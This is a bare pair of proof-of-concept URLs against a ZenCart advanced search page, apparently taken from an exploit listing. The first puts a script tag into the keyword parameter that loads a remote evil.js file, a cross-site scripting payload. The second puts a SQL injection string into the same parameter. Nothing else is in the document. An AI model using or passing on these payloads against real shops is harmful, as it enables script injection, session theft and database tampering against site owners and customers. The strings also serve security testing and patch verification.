http://www.example.com/ZenCart/index.php?main_page=advanced_search_result&search_in_description=1&zenid=bla&keyword=><script src=http://site/scripts/evil.js></script>
http://www.example.com/ZenCart/index.php?main_page=advanced_search_result&search_in_description=1&zenid=bla&keyword=' ' or 1